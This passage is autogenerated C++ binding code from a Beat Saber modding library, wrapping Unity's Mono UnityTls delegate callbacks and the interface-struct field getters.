"beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_trace_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_trace_callback.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_trace_callback.Invoke void Mono::Unity::UnityTls::unitytls_tlsctx_trace_callback::Invoke(void* userData, ::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* traceMessage, ::System::IntPtr traceMessageLen) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_trace_callback::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(traceMessage), ::il2cpp_utils::ExtractType(traceMessageLen)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, userData, ctx, traceMessage, traceMessageLen); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_trace_callback.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_tlsctx_trace_callback::BeginInvoke(void* userData, ::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* traceMessage, ::System::IntPtr traceMessageLen, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_trace_callback::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(traceMessage), ::il2cpp_utils::ExtractType(traceMessageLen), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, userData, ctx, traceMessage, traceMessageLen, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_trace_callback.EndInvoke void Mono::Unity::UnityTls::unitytls_tlsctx_trace_callback::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_trace_callback::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_certificate_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_certificate_callback.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509name #include "Mono/Unity/UnityTls_unitytls_x509name.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key_ref #include "Mono/Unity/UnityTls_unitytls_key_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_certificate_callback.Invoke void Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback::Invoke(void* userData, ::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_x509name* caList, ::System::IntPtr caListLen, ::Mono::Unity::UnityTls::unitytls_x509list_ref* chain, ::Mono::Unity::UnityTls::unitytls_key_ref* key, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(caList), ::il2cpp_utils::ExtractType(caListLen), ::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(key), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, userData, ctx, cn, cnLen, caList, caListLen, chain, key, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_certificate_callback.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback::BeginInvoke(void* userData, ::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_x509name* caList, ::System::IntPtr caListLen, ::Mono::Unity::UnityTls::unitytls_x509list_ref* chain, ::Mono::Unity::UnityTls::unitytls_key_ref* key, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(caList), ::il2cpp_utils::ExtractType(caListLen), ::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(key), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, userData, ctx, cn, cnLen, caList, caListLen, chain, key, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_certificate_callback.EndInvoke void Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_x509verify_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_x509verify_callback.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_x509verify_callback.Invoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback::Invoke(void* userData, ::Mono::Unity::UnityTls::unitytls_x509list_ref chain, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, userData, chain, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_x509verify_callback.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback::BeginInvoke(void* userData, ::Mono::Unity::UnityTls::unitytls_x509list_ref chain, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, userData, chain, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_x509verify_callback.EndInvoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct #include "Mono/Unity/UnityTls_unitytls_interface_struct.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_create_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_errorstate_create_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_raise_error_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_errorstate_raise_error_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_get_ref_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_key_get_ref_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_der_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_key_parse_der_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_pem_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_key_parse_pem_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_free_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_key_free_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509_export_der_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509_export_der_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_ref_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_get_ref_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_x509_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_get_x509_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_create_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_create_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_append_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_der_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_append_der_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_free_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_free_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_default_ca_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509verify_default_ca_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_explicit_ca_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509verify_explicit_ca_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_server_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_create_server_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_client_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_create_client_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_server_require_client_authentication_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_server_require_client_authentication_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_certificate_callback_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_set_certificate_callback_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_trace_callback_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_set_trace_callback_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_x509verify_callback_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_set_x509verify_callback_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_supported_ciphersuites_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_set_supported_ciphersuites_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_ciphersuite_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_get_ciphersuite_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_protocol_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_get_protocol_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_process_handshake_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_process_handshake_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_read_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_read_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_write_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_write_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_notify_close_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_notify_close_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_free_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_free_t.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_random_generate_bytes_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_random_generate_bytes_t.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated instance field getter // Get instance field: public readonly System.UInt64 UNITYTLS_INVALID_HANDLE uint64_t& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_UNITYTLS_INVALID_HANDLE() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_UNITYTLS_INVALID_HANDLE"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "UNITYTLS_INVALID_HANDLE"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public readonly Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_protocolrange UNITYTLS_TLSCTX_PROTOCOLRANGE_DEFAULT ::Mono::Unity::UnityTls::unitytls_tlsctx_protocolrange& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_UNITYTLS_TLSCTX_PROTOCOLRANGE_DEFAULT() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_UNITYTLS_TLSCTX_PROTOCOLRANGE_DEFAULT"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "UNITYTLS_TLSCTX_PROTOCOLRANGE_DEFAULT"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_tlsctx_protocolrange*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_create_t unitytls_errorstate_create ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_create_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_errorstate_create() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_errorstate_create"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_errorstate_create"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_create_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_raise_error_t unitytls_errorstate_raise_error ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_raise_error_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_errorstate_raise_error() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_errorstate_raise_error"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_errorstate_raise_error"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_raise_error_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_get_ref_t unitytls_key_get_ref ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_get_ref_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_key_get_ref() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_key_get_ref"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_key_get_ref"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_get_ref_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_der_t unitytls_key_parse_der ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_der_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_key_parse_der() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_key_parse_der"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_key_parse_der"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_der_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_pem_t unitytls_key_parse_pem ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_pem_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_key_parse_pem() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_key_parse_pem"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_key_parse_pem"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_pem_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_free_t unitytls_key_free ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_free_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_key_free() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_key_free"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_key_free"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_free_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509_export_der_t unitytls_x509_export_der ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509_export_der_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509_export_der() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509_export_der"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509_export_der"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509_export_der_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_ref_t unitytls_x509list_get_ref ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_ref_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_get_ref() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_get_ref"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509list_get_ref"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_ref_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_x509_t unitytls_x509list_get_x509 ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_x509_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_get_x509() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_get_x509"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509list_get_x509"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_x509_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_create_t unitytls_x509list_create ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_create_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_create() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_create"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509list_create"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_create_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_t unitytls_x509list_append ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_append() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_append"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509list_append"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_der_t unitytls_x509list_append_der ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_append_der() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_append_der"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509list_append_der"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_der_t unitytls_x509list_append_pem ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_append_pem() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_append_pem"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509list_append_pem"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_free_t unitytls_x509list_free 